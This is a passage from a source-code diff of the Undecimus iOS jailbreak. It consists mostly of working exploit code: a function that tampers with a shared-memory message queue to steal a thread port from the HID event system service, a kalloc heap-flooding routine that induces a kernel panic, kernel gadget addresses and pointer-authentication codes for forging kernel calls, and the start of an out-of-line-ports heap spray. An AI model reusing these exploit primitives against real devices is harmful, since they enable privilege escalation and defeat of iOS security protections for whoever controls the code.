mach_port_deallocate(mach_task_self(), queue_memory_entry);
|
||||
|
||||
mach_port_deallocate(mach_task_self(), connection_port);
|
||||
|
||||
mach_port_destroy(mach_task_self(), notification_port);
|
||||
|
||||
mach_port_destroy(mach_task_self(), a_receive_right);
|
||||
|
||||
mach_port_deallocate(mach_task_self(), service_port);
|
||||
|
||||
return stolen_port;
|
||||
mach_port_t hid_event_queue_exploit()
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
/* connect to the com.apple.iohideventsystem service */
|
||||
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
|
||||
err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port);
|
||||
if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) {
|
||||
LOG("failed to lookup service");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("got service port: 0x%x", service_port);
|
||||
|
||||
/* open a client connection */
|
||||
|
||||
mach_port_t a_receive_right = MACH_PORT_NULL;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &a_receive_right);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to allocate receive right");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
err = mach_port_insert_right(mach_task_self(), a_receive_right, a_receive_right, MACH_MSG_TYPE_MAKE_SEND);
|
||||
LOG("allocated a receive right 0x%x, we'll give hideventsystem a send to this", a_receive_right);
|
||||
|
||||
mach_port_t connection_port = MACH_PORT_NULL;
|
||||
|
||||
err = io_hideventsystem_open(
|
||||
service_port,
|
||||
mach_task_self(),
|
||||
3,
|
||||
NULL,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
a_receive_right,
|
||||
&connection_port);
|
||||
|
||||
LOG("err: %x", err);
|
||||
LOG("connection_port: %x", connection_port);
|
||||
LOG("a_receive_right: %x", a_receive_right);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to open hideventsystem connection");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/* clear the cache */
|
||||
err = io_hideventsystem_clear_service_cache(connection_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to clear service cache, err: %x", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/* select the list of desired devices */
|
||||
void* matching_out = NULL;
|
||||
int matching_out_len = 0;
|
||||
void* service_ids_out = NULL;
|
||||
int service_ids_out_len = 0;
|
||||
err = io_hideventsystem_copy_matching_services(
|
||||
connection_port,
|
||||
NULL,
|
||||
0,
|
||||
&matching_out,
|
||||
&matching_out_len,
|
||||
&service_ids_out,
|
||||
&service_ids_out_len);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to copy matching services, err: %x", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (matching_out != NULL) {
|
||||
mach_vm_deallocate(mach_task_self(), matching_out, matching_out_len);
|
||||
}
|
||||
|
||||
if (service_ids_out != NULL) {
|
||||
mach_vm_deallocate(mach_task_self(), service_ids_out, service_ids_out_len);
|
||||
}
|
||||
|
||||
LOG("copied matching services");
|
||||
|
||||
mach_port_t notification_port = MACH_PORT_NULL;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, ¬ification_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to allocate receive right for notification port");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("allocated a recieve right for notifications: 0x%x", notification_port);
|
||||
|
||||
mach_port_t queue_memory_entry = MACH_PORT_NULL;
|
||||
|
||||
err = io_hideventsystem_queue_create(
|
||||
connection_port,
|
||||
notification_port,
|
||||
0x8000,
|
||||
&queue_memory_entry);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to create queue, err: %x", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("queue memory entry port: 0x%x", queue_memory_entry);
|
||||
|
||||
LOG("pid %d", getpid());
|
||||
|
||||
// map the queue:
|
||||
mach_vm_address_t queue_address = 0;
|
||||
err = mach_vm_map(
|
||||
mach_task_self(),
|
||||
&queue_address, // &address
|
||||
(mach_vm_size_t)0x9000, // size
|
||||
0xfff, // mask
|
||||
1, // flags
|
||||
queue_memory_entry, // object
|
||||
0, // offset
|
||||
0, // copy
|
||||
3, // cur_prot
|
||||
3, // max_prot
|
||||
2); // inheritance
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("mach_vm_map failed: %x", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("mapped queue: %p", (void*)queue_address);
|
||||
|
||||
volatile mach_msg_header_t* shm_msg = (mach_msg_header_t*)(queue_address + 0x8000 + 0x10);
|
||||
|
||||
LOG("got the shared memory msg mapped at: %p", shm_msg);
|
||||
LOG("%08x %08x %08x", shm_msg->msgh_bits, shm_msg->msgh_size, shm_msg->msgh_remote_port);
|
||||
LOG("%08x %08x %08x", shm_msg->msgh_local_port, shm_msg->msgh_voucher_port, shm_msg->msgh_id);
|
||||
|
||||
uint32_t saved_bits = shm_msg->msgh_bits;
|
||||
uint32_t saved_local_port = shm_msg->msgh_local_port;
|
||||
uint32_t saved_msgh_id = shm_msg->msgh_id;
|
||||
|
||||
shm_msg->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND, 0); // remote, local, voucher
|
||||
shm_msg->msgh_local_port = 0x407; // the port we want, 0x407 is a thread port
|
||||
shm_msg->msgh_id = 0x12341234;
|
||||
|
||||
// start the queue
|
||||
err = io_hideventsystem_queue_start(
|
||||
connection_port);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to start the event queue");
|
||||
}
|
||||
|
||||
LOG("started queue");
|
||||
|
||||
// wait to receive a message
|
||||
LOG("if nothing happens here for a while, interact with the screen");
|
||||
|
||||
mach_msg_header_t* received_msg = malloc(0x1000);
|
||||
|
||||
err = mach_msg(
|
||||
received_msg,
|
||||
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,
|
||||
0,
|
||||
0x1000,
|
||||
notification_port,
|
||||
0,
|
||||
0);
|
||||
LOG("mach_msg returned");
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("tried to receive a message on the notification port but failed, err: %x", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("msgh_id of received notification message: %x", received_msg->msgh_id);
|
||||
LOG("did we get an interesting port? 0x%x", received_msg->msgh_remote_port);
|
||||
|
||||
mach_port_t stolen_port = received_msg->msgh_remote_port;
|
||||
|
||||
// let's get the type of that port
|
||||
natural_t ktype = 0;
|
||||
mach_vm_address_t kaddr = 0;
|
||||
err = mach_port_kobject(mach_task_self(), stolen_port, &ktype, &kaddr);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to get mach port ktype");
|
||||
sleep(100);
|
||||
}
|
||||
|
||||
LOG("kernel object type: %d", ktype);
|
||||
|
||||
// is that a thread port?
|
||||
if (ktype != 1) {
|
||||
LOG("not a thread port...");
|
||||
}
|
||||
|
||||
// cleanup:
|
||||
|
||||
// fix up the message:
|
||||
shm_msg->msgh_bits = saved_bits;
|
||||
shm_msg->msgh_local_port = saved_local_port;
|
||||
shm_msg->msgh_id = saved_msgh_id;
|
||||
|
||||
err = io_hideventsystem_queue_stop(connection_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to stop the queue");
|
||||
}
|
||||
|
||||
// unmap the queue
|
||||
mach_vm_deallocate(mach_task_self(), queue_address, 0x9000);
|
||||
|
||||
// drop the resources:
|
||||
mach_port_deallocate(mach_task_self(), queue_memory_entry);
|
||||
|
||||
mach_port_deallocate(mach_task_self(), connection_port);
|
||||
|
||||
mach_port_destroy(mach_task_self(), notification_port);
|
||||
|
||||
mach_port_destroy(mach_task_self(), a_receive_right);
|
||||
|
||||
mach_port_deallocate(mach_task_self(), service_port);
|
||||
|
||||
return stolen_port;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
//
|
||||
// jailbreak.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 5/11/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef jailbreak_h
|
||||
#define jailbreak_h
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
void jailbreak(void);
|
||||
|
||||
#endif /* jailbreak_h */
|
||||
@@ -0,0 +1,90 @@
|
||||
//
|
||||
// panic.c
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 4/20/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h>
|
||||
#include <common.h>
|
||||
#include "kalloc_crash.h"
|
||||
|
||||
struct simple_msg
|
||||
{
|
||||
mach_msg_header_t hdr;
|
||||
char buf[0];
|
||||
};
|
||||
|
||||
/* credits to ian beer */
|
||||
static mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t replacer_body_size)
|
||||
{
|
||||
// allocate a port to send the messages to
|
||||
mach_port_t q = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
|
||||
if (err != KERN_SUCCESS)
|
||||
{
|
||||
printf(" [-] failed to allocate port\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_port_limits_t limits = {0};
|
||||
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
|
||||
err = mach_port_set_attributes(mach_task_self(),
|
||||
q,
|
||||
MACH_PORT_LIMITS_INFO,
|
||||
(mach_port_info_t)&limits,
|
||||
MACH_PORT_LIMITS_INFO_COUNT);
|
||||
if (err != KERN_SUCCESS)
|
||||
{
|
||||
printf(" [-] failed to increase queue limit\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;
|
||||
struct simple_msg *msg = malloc(msg_size);
|
||||
memset(msg, 0, sizeof(struct simple_msg));
|
||||
memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);
|
||||
|
||||
for (int i = 0; i < 256; i++)
|
||||
{
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = msg_size;
|
||||
msg->hdr.msgh_remote_port = q;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414142;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
msg_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS)
|
||||
{
|
||||
printf(" [-] failed to send message %x (%d): %s\n", err, i, mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
return q;
|
||||
}
|
||||
|
||||
static uint32_t message_size_for_kalloc_size(uint32_t size)
|
||||
{
|
||||
return ((size * 3) / 4) - 0x74;
|
||||
}
|
||||
|
||||
void do_kalloc_crash() {
|
||||
for (;;) {
|
||||
uint32_t body_size = message_size_for_kalloc_size(16384) - sizeof(mach_msg_header_t); // 1024
|
||||
uint8_t *body = malloc(body_size);
|
||||
memset(body, 0x41, body_size);
|
||||
send_kalloc_message(body, body_size);
|
||||
SafeFreeNULL(body);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
//
|
||||
// panic.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 4/20/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef panic_h
|
||||
#define panic_h
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
void do_kalloc_crash(void);
|
||||
|
||||
#endif /* panic_h */
|
||||
@@ -0,0 +1,188 @@
|
||||
/*
|
||||
* kernel_call/kc_parameters.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#define KERNEL_CALL_PARAMETERS_EXTERN
|
||||
#include "kc_parameters.h"
|
||||
|
||||
#include "kernel_slide.h"
|
||||
#include "log.h"
|
||||
#include "platform.h"
|
||||
#include "platform_match.h"
|
||||
#include "KernelUtilities.h"
|
||||
|
||||
// ---- Initialization routines -------------------------------------------------------------------
|
||||
|
||||
// A struct describing an initialization.
|
||||
struct initialization {
|
||||
const char *devices;
|
||||
const char *builds;
|
||||
void (*init)(void);
|
||||
};
|
||||
|
||||
// Run initializations matching this platform.
|
||||
static size_t
|
||||
run_initializations(struct initialization *inits, size_t count) {
|
||||
size_t match_count = 0;
|
||||
for (size_t i = 0; i < count; i++) {
|
||||
struct initialization *init = &inits[i];
|
||||
if (platform_matches(init->devices, init->builds)) {
|
||||
init->init();
|
||||
match_count++;
|
||||
}
|
||||
}
|
||||
return match_count;
|
||||
}
|
||||
|
||||
// A helper macro to get the number of elements in a static array.
|
||||
#define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
// ---- Offset initialization ---------------------------------------------------------------------
|
||||
|
||||
static void
|
||||
offsets__iphone11_8__16C50() {
|
||||
OFFSET(IOAudio2DeviceUserClient, traps) = 0x118;
|
||||
|
||||
SIZE(IOExternalTrap) = 0x18;
|
||||
OFFSET(IOExternalTrap, object) = 0;
|
||||
OFFSET(IOExternalTrap, function) = 8;
|
||||
OFFSET(IOExternalTrap, offset) = 16;
|
||||
|
||||
OFFSET(IORegistryEntry, reserved) = 16;
|
||||
OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID) = 8;
|
||||
|
||||
VTABLE_INDEX(IOUserClient, getExternalTrapForIndex) = 0x5B8 / 8;
|
||||
VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex) = 0x5C0 / 8;
|
||||
}
|
||||
|
||||
// A list of offset initializations by platform.
|
||||
static struct initialization offsets[] = {
|
||||
{ "*", "*", offsets__iphone11_8__16C50 },
|
||||
};
|
||||
|
||||
// ---- Address initialization --------------------------------------------------------------------
|
||||
|
||||
#define SLIDE(address) (address == 0 ? 0 : address + kernel_slide)
|
||||
|
||||
static void
|
||||
addresses__iphone11_2__16A366() {
|
||||
ADDRESS(paciza_pointer__l2tp_domain_module_start) = getoffset(paciza_pointer__l2tp_domain_module_start);
|
||||
ADDRESS(paciza_pointer__l2tp_domain_module_stop) = getoffset(paciza_pointer__l2tp_domain_module_stop);
|
||||
ADDRESS(l2tp_domain_inited) = getoffset(l2tp_domain_inited);
|
||||
ADDRESS(sysctl__net_ppp_l2tp) = getoffset(sysctl__net_ppp_l2tp);
|
||||
ADDRESS(sysctl_unregister_oid) = getoffset(sysctl_unregister_oid);
|
||||
ADDRESS(mov_x0_x4__br_x5) = getoffset(mov_x0_x4__br_x5);
|
||||
ADDRESS(mov_x9_x0__br_x1) = getoffset(mov_x9_x0__br_x1);
|
||||
ADDRESS(mov_x10_x3__br_x6) = getoffset(mov_x10_x3__br_x6);
|
||||
ADDRESS(kernel_forge_pacia_gadget) = getoffset(kernel_forge_pacia_gadget);
|
||||
ADDRESS(kernel_forge_pacda_gadget) = getoffset(kernel_forge_pacda_gadget);
|
||||
SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110;
|
||||
OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8;
|
||||
OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0;
|
||||
OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8;
|
||||
ADDRESS(IOUserClient__vtable) = getoffset(IOUserClient__vtable);
|
||||
ADDRESS(IORegistryEntry__getRegistryEntryID) = getoffset(IORegistryEntry__getRegistryEntryID);
|
||||
}
|
||||
|
||||
// A list of address initializations by platform.
|
||||
static struct initialization addresses[] = {
|
||||
{ "*", "16A366-16D5024a", addresses__iphone11_2__16A366 },
|
||||
};
|
||||
|
||||
// ---- PAC initialization ------------------------------------------------------------------------
|
||||
|
||||
#if __arm64e__
|
||||
|
||||
static void
|
||||
pac__iphone11_8__16C50() {
|
||||
INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient,
|
||||
0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
|
||||
0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
|
||||
0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
|
||||
0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
|
||||
0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
|
||||
0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
|
||||
0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
|
||||
0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d,
|
||||
0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666,
|
||||
0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d,
|
||||
0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529,
|
||||
0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2,
|
||||
0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1,
|
||||
0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6,
|
||||
0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9,
|
||||
0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b,
|
||||
0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2,
|
||||
0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de,
|
||||
0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4,
|
||||
0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700,
|
||||
0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb352,
|
||||
0xa03f, 0xbde5, 0x5cf5, 0x18b8, 0xea14, 0x3e51, 0xbcef, 0xfd2b,
|
||||
0xc1ba, 0x02d4, 0xee4f, 0x3565, 0xb50c, 0xbdaa, 0xbc5e, 0xea23,
|
||||
0x2bcb);
|
||||
|
||||
INIT_VTABLE_PAC_CODES(IODTNVRAM,
|
||||
0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
|
||||
0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
|
||||
0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
|
||||
0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
|
||||
0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
|
||||
0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
|
||||
0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
|
||||
0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d,
|
||||
0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666,
|
||||
0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d,
|
||||
0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529,
|
||||
0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2,
|
||||
0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1,
|
||||
0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6,
|
||||
0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9,
|
||||
0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b,
|
||||
0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2,
|
||||
0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de,
|
||||
0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4,
|
||||
0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700,
|
||||
0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb428,
|
||||
0xbd46, 0xe5f5, 0x61a4, 0xdb15, 0x414e, 0xebdb, 0x5599, 0x4584,
|
||||
0x4909, 0x003b, 0xafd8, 0xf53e, 0xfbd7, 0xcf34, 0x14d5, 0xb201,
|
||||
0x3e63, 0x110c, 0x7ed3, 0x6731, 0x7a38, 0xd4c7, 0xa3bc, 0xc7b7,
|
||||
0xb1db, 0x7d35, 0xb06d, 0xcf08);
|
||||
}
|
||||
|
||||
// A list of PAC initializations by platform.
|
||||
static struct initialization pac_codes[] = {
|
||||
{ "*", "*", pac__iphone11_8__16C50 },
|
||||
};
|
||||
|
||||
#endif // __arm64e__
|
||||
|
||||
// ---- Public API --------------------------------------------------------------------------------
|
||||
|
||||
bool
|
||||
kernel_call_parameters_init() {
|
||||
bool ok = kernel_slide_init();
|
||||
if (!ok) {
|
||||
return false;
|
||||
}
|
||||
size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
|
||||
if (count < 1) {
|
||||
ERROR("no kernel_call %s for %s %s", "offsets",
|
||||
platform.machine, platform.osversion);
|
||||
return false;
|
||||
}
|
||||
count = run_initializations(addresses, ARRAY_COUNT(addresses));
|
||||
if (count < 1) {
|
||||
ERROR("no kernel_call %s for %s %s", "addresses",
|
||||
platform.machine, platform.osversion);
|
||||
return false;
|
||||
}
|
||||
#if __arm64e__
|
||||
count = run_initializations(pac_codes, ARRAY_COUNT(pac_codes));
|
||||
if (count < 1) {
|
||||
ERROR("no kernel_call %s for %s %s", "PAC codes",
|
||||
platform.machine, platform.osversion);
|
||||
return false;
|
||||
}
|
||||
#endif // __arm64e__
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
/*
|
||||
* kernel_call/kc_parameters.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
|
||||
#define VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "parameters.h"
|
||||
|
||||
#ifdef KERNEL_CALL_PARAMETERS_EXTERN
|
||||
#define extern KERNEL_CALL_PARAMETERS_EXTERN
|
||||
#endif
|
||||
|
||||
// A structure describing the PAC codes used as part of the context for signing and verifying
|
||||
// virtual method pointers in a vtable.
|
||||
struct vtable_pac_codes {
|
||||
size_t count;
|
||||
const uint16_t *codes;
|
||||
};
|
||||
|
||||
// Generate the name for an offset in a virtual method table.
|
||||
#define VTABLE_INDEX(class_, method_) _##class_##_##method_##__vtable_index_
|
||||
|
||||
// Generate the name for a list of vtable PAC codes.
|
||||
#define VTABLE_PAC_CODES(class_) _##class_##__vtable_pac_codes_
|
||||
|
||||
// A helper macro for INIT_VTABLE_PAC_CODES().
|
||||
#define VTABLE_PAC_CODES_DATA(class_) _##class_##__vtable_pac_codes_data_
|
||||
|
||||
// Initialize a list of vtable PAC codes. In order to store the PAC code array in constant memory,
|
||||
// we place it in a static variable. Consequently, this macro will produce name conflicts if used
|
||||
// outside a function.
|
||||
#define INIT_VTABLE_PAC_CODES(class_, ...) \
|
||||
static const uint16_t VTABLE_PAC_CODES_DATA(class_)[] = { __VA_ARGS__ }; \
|
||||
VTABLE_PAC_CODES(class_) = (struct vtable_pac_codes) { \
|
||||
.count = sizeof(VTABLE_PAC_CODES_DATA(class_)) / sizeof(uint16_t), \
|
||||
.codes = (const uint16_t *) VTABLE_PAC_CODES_DATA(class_), \
|
||||
}
|
||||
|
||||
extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_start);
|
||||
extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_stop);
|
||||
extern uint64_t ADDRESS(l2tp_domain_inited);
|
||||
extern uint64_t ADDRESS(sysctl__net_ppp_l2tp);
|
||||
extern uint64_t ADDRESS(sysctl_unregister_oid);
|
||||
extern uint64_t ADDRESS(mov_x0_x4__br_x5);
|
||||
extern uint64_t ADDRESS(mov_x9_x0__br_x1);
|
||||
extern uint64_t ADDRESS(mov_x10_x3__br_x6);
|
||||
extern uint64_t ADDRESS(kernel_forge_pacia_gadget);
|
||||
extern uint64_t ADDRESS(kernel_forge_pacda_gadget);
|
||||
extern uint64_t ADDRESS(IOUserClient__vtable);
|
||||
extern uint64_t ADDRESS(IORegistryEntry__getRegistryEntryID);
|
||||
|
||||
extern size_t SIZE(kernel_forge_pacxa_gadget_buffer);
|
||||
extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
|
||||
extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
|
||||
extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
|
||||
|
||||
extern struct vtable_pac_codes VTABLE_PAC_CODES(IOAudio2DeviceUserClient);
|
||||
extern struct vtable_pac_codes VTABLE_PAC_CODES(IODTNVRAM);
|
||||
|
||||
// Parameters for IOAudio2DeviceUserClient.
|
||||
extern size_t OFFSET(IOAudio2DeviceUserClient, traps);
|
||||
|
||||
// Parameters for IOExternalTrap.
|
||||
extern size_t SIZE(IOExternalTrap);
|
||||
extern size_t OFFSET(IOExternalTrap, object);
|
||||
extern size_t OFFSET(IOExternalTrap, function);
|
||||
extern size_t OFFSET(IOExternalTrap, offset);
|
||||
|
||||
// Parameters for IORegistryEntry.
|
||||
extern size_t OFFSET(IORegistryEntry, reserved);
|
||||
extern size_t OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
|
||||
|
||||
// Parameters for IOUserClient.
|
||||
extern uint32_t VTABLE_INDEX(IOUserClient, getExternalTrapForIndex);
|
||||
extern uint32_t VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex);
|
||||
|
||||
/*
|
||||
* kernel_call_parameters_init
|
||||
*
|
||||
* Description:
|
||||
* Initialize the addresses used in the kernel_call subsystem.
|
||||
*/
|
||||
bool kernel_call_parameters_init(void);
|
||||
|
||||
#undef extern
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,597 @@
|
||||
/*
|
||||
* kernel_alloc.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#include "kernel_alloc.h"
|
||||
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
#include "log.h"
|
||||
#include "parameters.h"
|
||||
#include "platform.h"
|
||||
#include "common.h"
|
||||
|
||||
// Compute the minimum of 2 values.
|
||||
#define min(a, b) ((a) < (b) ? (a) : (b))
|
||||
|
||||
size_t
|
||||
message_size_for_kalloc_size(size_t kalloc_size) {
|
||||
if (kalloc_size <= kmsg_zone_size) {
|
||||
return 0;
|
||||
}
|
||||
// Thanks Ian!
|
||||
return ((3 * kalloc_size) / 4) - 0x74;
|
||||
}
|
||||
|
||||
size_t
|
||||
kalloc_size_for_message_size(size_t message_size) {
|
||||
if (message_size <= message_size_for_kmsg_zone) {
|
||||
return 0;
|
||||
}
|
||||
return message_size + ((message_size - 28) / 12) * 4 + 164;
|
||||
}
|
||||
|
||||
size_t
|
||||
ipc_kmsg_size_for_message_size(size_t message_size) {
|
||||
if (message_size <= message_size_for_kmsg_zone) {
|
||||
return kmsg_zone_size;
|
||||
}
|
||||
return kalloc_size_for_message_size(message_size);
|
||||
}
|
||||
|
||||
// A message containing out-of-line ports.
|
||||
struct ool_ports_msg {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_ports_descriptor_t ool_ports[0];
|
||||
};
|
||||
|
||||
size_t
|
||||
ool_ports_spray_port(mach_port_t holding_port,
|
||||
const mach_port_t *ool_ports, size_t port_count,
|
||||
mach_msg_type_name_t ool_disposition, size_t ool_count,
|
||||
